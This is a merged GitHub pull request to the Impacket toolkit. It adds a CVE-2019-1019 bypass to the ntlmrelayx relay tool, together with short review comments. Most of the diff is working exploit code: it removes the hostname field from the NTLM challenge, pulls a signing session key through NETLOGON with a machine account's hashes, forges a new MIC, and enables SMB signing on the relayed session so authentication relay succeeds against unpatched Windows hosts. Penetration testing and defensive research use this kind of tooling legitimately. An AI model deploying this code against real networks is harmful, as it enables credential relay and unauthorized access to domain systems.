Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2019-1019: Bypass SMB singing for unpatched machines #635

Merged
merged 1 commit into from
Jun 13, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -157,6 +157,8 @@ def start_servers(options, threads):

if server is HTTPRelayServer:
c.setListeningPort(options.http_port)
c.setTargetRemoval(options.remove_target)
c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain)
elif server is SMBRelayServer:
c.setListeningPort(options.smb_port)

Expand Down Expand Up @@ -256,6 +258,17 @@ def stop_servers(threads):
mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
'(can specify multiple)')

#HTTPS options
httpoptions = parser.add_argument_group("HTTP options")
httpoptions.add_argument('-machine-account', action='store', required=False,
help='Domain machine account to use when interacting with the domain to grab a session key for '
'signing, format is domain/machine_name')
httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH",
help='Domain machine hashes, format is LMHASH:NTHASH')
httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
httpoptions.add_argument('-remove-target', action='store_true', default=False,
help='Try to remove the target in the challenge message (in case CVE-2019-1019 is not installed)')

#LDAP options
ldapoptions = parser.add_argument_group("LDAP client options")
ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')
Expand Down
5 changes: 4 additions & 1 deletion impacket/dcerpc/v5/dtypes.py
Original file line number Diff line number Diff line change
Expand Up @@ -105,7 +105,10 @@ def dump(self, msg = None, indent = 0):
def __setitem__(self, key, value):
if key == 'Data':
try:
self.fields[key] = value.encode('utf-8')
if not isinstance(value, bytes):
self.fields[key] = value.encode('utf-8')
else:
self.fields[key] = value
except UnicodeDecodeError:
import sys
self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-8')
Expand Down
158 changes: 153 additions & 5 deletions impacket/examples/ntlmrelayx/clients/smbrelayclient.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,15 +13,22 @@
# This is the SMB client which initiates the connection to an
# SMB server and relays the credentials to this server.

import logging
import os

from struct import unpack
from binascii import unhexlify, hexlify
from struct import unpack, pack
from socket import error as socketerror
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import nrpc
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NULL
from impacket import LOG
from impacket.examples.ntlmrelayx.clients import ProtocolClient
from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER
from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE
from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge
from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \
generateEncryptedSessionKey, hmac_md5
from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \
SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \
SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters
Expand All @@ -45,9 +52,9 @@ def neg_session(self, negPacket=None):
return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket)

class MYSMB3(SMB3):
def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):
def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None):
self.extendedSecurity = extendedSecurity
SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket))
SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect)

def negotiateSession(self, preferredDialect = None, negSessionResponse = None):
# We DON'T want to sign
Expand Down Expand Up @@ -128,8 +135,116 @@ def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True
self.machineHashes = None
self.sessionData = {}

self.negotiate_message = None
self.challenge_message = None
self.server_challenge = None

self.keepAliveHits = 1

def netlogonSessionKey(self, authenticateMessageBlob):
# Here we will use netlogon to get the signing session key
logging.info("Connecting to %s NETLOGON service" % self.domainIp)

respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(respToken2['ResponseToken'])
_, machineAccount = self.serverConfig.machineAccount.split('/')
domainName = authenticateMessage['domain_name'].decode('utf-16le')

try:
serverName = machineAccount[:len(machineAccount)-1]
except:
# We're in NTLMv1, not supported
return STATUS_ACCESS_DENIED

stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp

rpctransport = transport.DCERPCTransportFactory(stringBinding)

if len(self.serverConfig.machineHashes) > 0:
lmhash, nthash = self.serverConfig.machineHashes.split(':')
else:
lmhash = ''
nthash = ''

if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash)

dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)
resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678')

serverChallenge = resp['ServerChallenge']

if self.serverConfig.machineHashes == '':
ntHash = None
else:
ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1])

sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash)

ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)

nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
ppp, 0x600FFFFF)

clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

# Now let's try to verify the security blob against the PDC

request = nrpc.NetrLogonSamLogonWithFlags()
request['LogonServer'] = '\x00'
request['ComputerName'] = serverName + '\x00'
request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
'user_name'].decode('utf-16le')
request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.server_challenge
import base64
request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']

authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
authenticator['Timestamp'] = 10

request['Authenticator'] = authenticator
request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
request['ReturnAuthenticator']['Timestamp'] = 0
request['ExtraFlags'] = 0
# request.dump()
try:
resp = dce.request(request)
# resp.dump()
except DCERPCException as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
return e.get_error_code()

logging.info("%s\\%s successfully validated through NETLOGON" % (
domainName, authenticateMessage['user_name'].decode('utf-16le')))

encryptedSessionKey = authenticateMessage['session_key']
if encryptedSessionKey != b'':
signingKey = generateEncryptedSessionKey(
resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
else:
signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']

logging.info("SMB Signing key: %s " % hexlify(signingKey))

return STATUS_SUCCESS, signingKey

def keepAlive(self):
# SMB Keep Alive more or less every 5 minutes
if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
Expand Down Expand Up @@ -172,7 +287,11 @@ def initConnection(self):
LOG.error('SMBCLient error: %s' % str(e))
return False
if packet[0:1] == b'\xfe':
smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
preferredDialect = None
# Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
if self.serverConfig.remove_target:
preferredDialect = SMB2_DIALECT_21
smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet, preferredDialect=preferredDialect)
else:
# Answer is SMB packet, sticking to SMBv1
smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
Expand All @@ -197,8 +316,12 @@ def sendNegotiate(self, negotiateMessage):
else:
challenge.fromString(self.sendNegotiatev2(negotiateMessage))

self.negotiate_message = negotiateMessage
self.challenge_message = challenge.getData()

# Store the Challenge in our session data dict. It will be used by the SMB Proxy
self.sessionData['CHALLENGE_MESSAGE'] = challenge
self.server_challenge = challenge['challenge']

return challenge

Expand Down Expand Up @@ -350,10 +473,35 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
else:
authData = authenticateMessageBlob

signingKey = None
if self.serverConfig.remove_target:
respToken2 = SPNEGO_NegTokenResp(authData)
authenticateMessageBlob = respToken2['ResponseToken']

errorCode, signingKey = self.netlogonSessionKey(authData)

# Recalculate MIC
res = NTLMAuthChallengeResponse()
res.fromString(authenticateMessageBlob)

new_auth_blob = hexlify(authenticateMessageBlob)[0:144] + b'00000000000000000000000000000000' + hexlify(authenticateMessageBlob)[176:]
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This just doesn't sound right. Are you trying to clear the previous MIC in order to calculate the HMAC_MD5 or something else?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm clearing the previous MIC in order to calculate the new one (take a look at the next line - the relay_MIC)

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

hi @msimakov , i am trying to use the script by myself and i am getting some errors. Basically i can see that i am able to retrieve the session key, but for some reason i cannot connect, i am using the following command just like @asolino said to use it in order to perform some tests.
by looking at wireshark on the relay endpoint i can see that, everything goes just like the article you published, but at the last message ( the one wit the new mic) i am getting Error:STATUS_INVALID_PARAMETER and the final login is failing.
Any ideas?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi @zur250. Make sure to run the updated version, the file has been updated after this commit

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @msimakov for the quick answer. i am runnig Impacket v0.9.21-dev, is it the version you are talking about?

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey @zur250. I think you have a mix of impacket versions installed. What is the banner you get when you run ntlmrelayx.py? (at the very beginning of its execution)

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@asolino hi, the banner is the following :
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ok.. so it has nothing to do with this commit commit we're writing in. It has to be a separate issue.

relay_MIC = hmac_md5(signingKey, self.negotiate_message + self.challenge_message + unhexlify(new_auth_blob))
res['MIC'] = relay_MIC
authData = res.getData()

respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = authData
authData = respToken2.getData()

if self.session.getDialect() == SMB_DIALECT:
token, errorCode = self.sendAuthv1(authData, serverChallenge)
else:
token, errorCode = self.sendAuthv2(authData, serverChallenge)

if signingKey:
logging.info("Enabling session signing")
self.session._SMBConnection.enable_signing(signingKey)

return token, errorCode

def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
Expand Down
9 changes: 9 additions & 0 deletions impacket/examples/ntlmrelayx/servers/httprelayserver.py
Original file line number Diff line number Diff line change
Expand Up @@ -266,6 +266,15 @@ def do_ntlm_negotiate(self, token, proxy):
if not self.client.initConnection():
return False
self.challengeMessage = self.client.sendNegotiate(token)

# Remove target NetBIOS field from the NTLMSSP_CHALLENGE
if self.server.config.remove_target:
av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])
del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]
self.challengeMessage['TargetInfoFields'] = av_pairs.getData()
self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())
self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())

# Check for errors
if self.challengeMessage is False:
return False
Expand Down
15 changes: 10 additions & 5 deletions impacket/examples/ntlmrelayx/utils/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -35,13 +35,13 @@ def __init__(self):
self.encoding = None
self.ipv6 = False

#WPAD options
# WPAD options
self.serve_wpad = False
self.wpad_host = None
self.wpad_auth_num = 0
self.smb2support = False

#WPAD options
# WPAD options
self.serve_wpad = False
self.wpad_host = None
self.wpad_auth_num = 0
Expand Down Expand Up @@ -70,6 +70,8 @@ def __init__(self):
self.runSocks = False
self.socksServer = None

# HTTP options
self.remove_target = False

def setSMB2Support(self, value):
self.smb2support = value
Expand All @@ -79,7 +81,7 @@ def setProtocolClients(self, clients):

def setInterfaceIp(self, ip):
self.interfaceIp = ip

def setListeningPort(self, port):
self.listeningPort = port

Expand Down Expand Up @@ -114,10 +116,10 @@ def setAttacks(self, attacks):
def setLootdir(self, lootdir):
self.lootdir = lootdir

def setRedirectHost(self,redirecthost):
def setRedirectHost(self, redirecthost):
self.redirecthost = redirecthost

def setDomainAccount( self, machineAccount, machineHashes, domainIp):
def setDomainAccount(self, machineAccount, machineHashes, domainIp):
self.machineAccount = machineAccount
self.machineHashes = machineHashes
self.domainIp = domainIp
Expand Down Expand Up @@ -154,3 +156,6 @@ def setWpadOptions(self, wpad_host, wpad_auth_num):
self.serve_wpad = True
self.wpad_host = wpad_host
self.wpad_auth_num = wpad_auth_num

def setTargetRemoval(self, remove_target):
self.remove_target = remove_target
5 changes: 5 additions & 0 deletions impacket/smb3.py
Original file line number Diff line number Diff line change
Expand Up @@ -1697,3 +1697,8 @@ def open_andx(self, tid, fileName, open_mode, desired_access):

fileId = self.create(tid,fileName,desired_access, open_mode, FILE_NON_DIRECTORY_FILE, open_mode, 0)
return fileId, 0, 0, 0, 0, 0, 0, 0, 0

def enable_signing(self, signingKey):
self._Session['SessionKey'] = signingKey
self._Session['SigningActivated'] = True
self._Session['SigningRequired'] = True